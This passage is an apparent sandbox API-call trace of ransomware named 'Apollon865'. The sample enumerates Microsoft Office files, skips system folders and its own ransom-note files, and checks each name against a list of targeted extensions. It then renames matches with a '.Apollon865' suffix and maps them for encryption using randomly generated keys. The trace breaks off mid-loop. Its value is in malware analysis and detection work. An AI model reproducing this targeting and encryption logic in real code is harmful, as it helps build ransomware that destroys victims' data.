	[0068.014] lstrlenW (lpString="rar") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.014] lstrlenW (lpString="zip") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.014] lstrlenW (lpString="tgz") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.014] lstrlenW (lpString="vbox") returned 4
	[0068.014] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.014] lstrlenW (lpString="vdi") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.014] lstrlenW (lpString="vhd") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.014] lstrlenW (lpString="vhdx") returned 4
	[0068.014] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.014] lstrlenW (lpString="avhd") returned 4
	[0068.014] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.014] lstrlenW (lpString="db") returned 2
	[0068.014] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.014] lstrlenW (lpString="db2") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.014] lstrlenW (lpString="db3") returned 3
	[0068.014] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.014] lstrlenW (lpString="dbf") returned 3
	[0068.015] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.015] lstrlenW (lpString="mdf") returned 3
	[0068.015] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.015] lstrlenW (lpString="mdb") returned 3
	[0068.015] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.015] lstrlenW (lpString="sql") returned 3
	[0068.015] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.015] lstrlenW (lpString="sqlite") returned 6
	[0068.015] lstrcmpiW (lpString1="27.XML", lpString2="sqlite") returned -1
	[0068.015] lstrlenW (lpString="sqlite3") returned 7
	[0068.015] lstrcmpiW (lpString1="027.XML", lpString2="sqlite3") returned -1
	[0068.015] lstrlenW (lpString="sqlitedb") returned 8
	[0068.015] lstrcmpiW (lpString1="L027.XML", lpString2="sqlitedb") returned -1
	[0068.015] lstrlenW (lpString="xml") returned 3
	[0068.015] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.015] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.Apollon865") returned 75
	[0068.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl027.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.016] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=28030) returned 1
	[0068.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.016] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.017] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.017] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.017] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7080, lpName=0x0) returned 0xd8
	[0068.019] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7080) returned 0x100000
	[0068.020] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.021] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.021] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0068.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0068.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.022] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.022] CloseHandle (hObject=0xd8) returned 1
	[0068.022] CloseHandle (hObject=0x15c) returned 1
	[0068.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.023] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2=".") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="..") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="windows") returned -1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="bootmgr") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="temp") returned -1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="pagefile.sys") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="boot") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="ids.txt") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="ntuser.dat") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="perflogs") returned 1
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2="MSBuild") returned 1
	[0068.023] lstrlenW (lpString="PGLBL044.XML") returned 12
	[0068.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML") returned 64
	[0068.023] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL044.XML" | out: lpString1="PGLBL044.XML") returned="PGLBL044.XML"
	[0068.023] lstrlenW (lpString="PGLBL044.XML") returned 12
	[0068.023] lstrlenW (lpString="Apollon865") returned 10
	[0068.023] lstrcmpiW (lpString1="LBL044.XML", lpString2="Apollon865") returned 1
	[0068.023] lstrlenW (lpString=".dll") returned 4
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2=".dll") returned 1
	[0068.023] lstrlenW (lpString=".lnk") returned 4
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2=".lnk") returned 1
	[0068.023] lstrlenW (lpString=".ini") returned 4
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2=".ini") returned 1
	[0068.023] lstrlenW (lpString=".sys") returned 4
	[0068.023] lstrcmpiW (lpString1="PGLBL044.XML", lpString2=".sys") returned 1
	[0068.023] lstrlenW (lpString="PGLBL044.XML") returned 12
	[0068.023] lstrlenW (lpString="bak") returned 3
	[0068.023] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.023] lstrlenW (lpString="ba_") returned 3
	[0068.023] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.024] lstrlenW (lpString="dbb") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.024] lstrlenW (lpString="vmdk") returned 4
	[0068.024] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.024] lstrlenW (lpString="rar") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.024] lstrlenW (lpString="zip") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.024] lstrlenW (lpString="tgz") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.024] lstrlenW (lpString="vbox") returned 4
	[0068.024] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.024] lstrlenW (lpString="vdi") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.024] lstrlenW (lpString="vhd") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.024] lstrlenW (lpString="vhdx") returned 4
	[0068.024] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.024] lstrlenW (lpString="avhd") returned 4
	[0068.024] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.024] lstrlenW (lpString="db") returned 2
	[0068.024] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.024] lstrlenW (lpString="db2") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.024] lstrlenW (lpString="db3") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.024] lstrlenW (lpString="dbf") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.024] lstrlenW (lpString="mdf") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.024] lstrlenW (lpString="mdb") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.024] lstrlenW (lpString="sql") returned 3
	[0068.024] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.024] lstrlenW (lpString="sqlite") returned 6
	[0068.024] lstrcmpiW (lpString1="44.XML", lpString2="sqlite") returned -1
	[0068.024] lstrlenW (lpString="sqlite3") returned 7
	[0068.025] lstrcmpiW (lpString1="044.XML", lpString2="sqlite3") returned -1
	[0068.025] lstrlenW (lpString="sqlitedb") returned 8
	[0068.025] lstrcmpiW (lpString1="L044.XML", lpString2="sqlitedb") returned -1
	[0068.025] lstrlenW (lpString="xml") returned 3
	[0068.025] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.025] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.Apollon865") returned 75
	[0068.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl044.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.026] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=157348) returned 1
	[0068.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.026] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.027] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.027] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.027] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x269b0, lpName=0x0) returned 0xd8
	[0068.028] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x269b0) returned 0x120000
	[0068.036] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.036] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.036] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.037] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.038] CloseHandle (hObject=0xd8) returned 1
	[0068.038] CloseHandle (hObject=0x15c) returned 1
	[0068.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.039] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1
	[0068.039] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.039] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.039] lstrcmpiW (lpString1="PGLBL048.XML", lpString2=".") returned 1
	[0068.039] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="..") returned 1
	[0068.039] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="windows") returned -1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="bootmgr") returned 1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="temp") returned -1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="pagefile.sys") returned 1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="boot") returned 1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="ids.txt") returned 1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="ntuser.dat") returned 1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="perflogs") returned 1
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2="MSBuild") returned 1
	[0068.040] lstrlenW (lpString="PGLBL048.XML") returned 12
	[0068.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML") returned 64
	[0068.040] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL048.XML" | out: lpString1="PGLBL048.XML") returned="PGLBL048.XML"
	[0068.040] lstrlenW (lpString="PGLBL048.XML") returned 12
	[0068.040] lstrlenW (lpString="Apollon865") returned 10
	[0068.040] lstrcmpiW (lpString1="LBL048.XML", lpString2="Apollon865") returned 1
	[0068.040] lstrlenW (lpString=".dll") returned 4
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2=".dll") returned 1
	[0068.040] lstrlenW (lpString=".lnk") returned 4
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2=".lnk") returned 1
	[0068.040] lstrlenW (lpString=".ini") returned 4
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2=".ini") returned 1
	[0068.040] lstrlenW (lpString=".sys") returned 4
	[0068.040] lstrcmpiW (lpString1="PGLBL048.XML", lpString2=".sys") returned 1
	[0068.040] lstrlenW (lpString="PGLBL048.XML") returned 12
	[0068.040] lstrlenW (lpString="bak") returned 3
	[0068.040] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.040] lstrlenW (lpString="ba_") returned 3
	[0068.040] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.040] lstrlenW (lpString="dbb") returned 3
	[0068.040] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.040] lstrlenW (lpString="vmdk") returned 4
	[0068.040] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.040] lstrlenW (lpString="rar") returned 3
	[0068.040] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.040] lstrlenW (lpString="zip") returned 3
	[0068.040] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.040] lstrlenW (lpString="tgz") returned 3
	[0068.040] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.040] lstrlenW (lpString="vbox") returned 4
	[0068.041] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.041] lstrlenW (lpString="vdi") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.041] lstrlenW (lpString="vhd") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.041] lstrlenW (lpString="vhdx") returned 4
	[0068.041] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.041] lstrlenW (lpString="avhd") returned 4
	[0068.041] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.041] lstrlenW (lpString="db") returned 2
	[0068.041] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.041] lstrlenW (lpString="db2") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.041] lstrlenW (lpString="db3") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.041] lstrlenW (lpString="dbf") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.041] lstrlenW (lpString="mdf") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.041] lstrlenW (lpString="mdb") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.041] lstrlenW (lpString="sql") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.041] lstrlenW (lpString="sqlite") returned 6
	[0068.041] lstrcmpiW (lpString1="48.XML", lpString2="sqlite") returned -1
	[0068.041] lstrlenW (lpString="sqlite3") returned 7
	[0068.041] lstrcmpiW (lpString1="048.XML", lpString2="sqlite3") returned -1
	[0068.041] lstrlenW (lpString="sqlitedb") returned 8
	[0068.041] lstrcmpiW (lpString1="L048.XML", lpString2="sqlitedb") returned -1
	[0068.041] lstrlenW (lpString="xml") returned 3
	[0068.041] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.041] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.Apollon865") returned 75
	[0068.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl048.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.043] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1107344) returned 1
	[0068.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.043] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.044] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.044] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.044] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e890, lpName=0x0) returned 0xd8
	[0068.045] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e890) returned 0x3710000
	[0068.102] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.103] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.103] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0068.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0068.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.104] UnmapViewOfFile (lpBaseAddress=0x3710000) returned 1
	[0068.115] CloseHandle (hObject=0xd8) returned 1
	[0068.116] CloseHandle (hObject=0x15c) returned 1
	[0068.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.123] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1
	[0068.126] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.146] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.146] lstrcmpiW (lpString1="PGLBL054.XML", lpString2=".") returned 1
	[0068.146] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="..") returned 1
	[0068.148] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="windows") returned -1
	[0068.148] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="bootmgr") returned 1
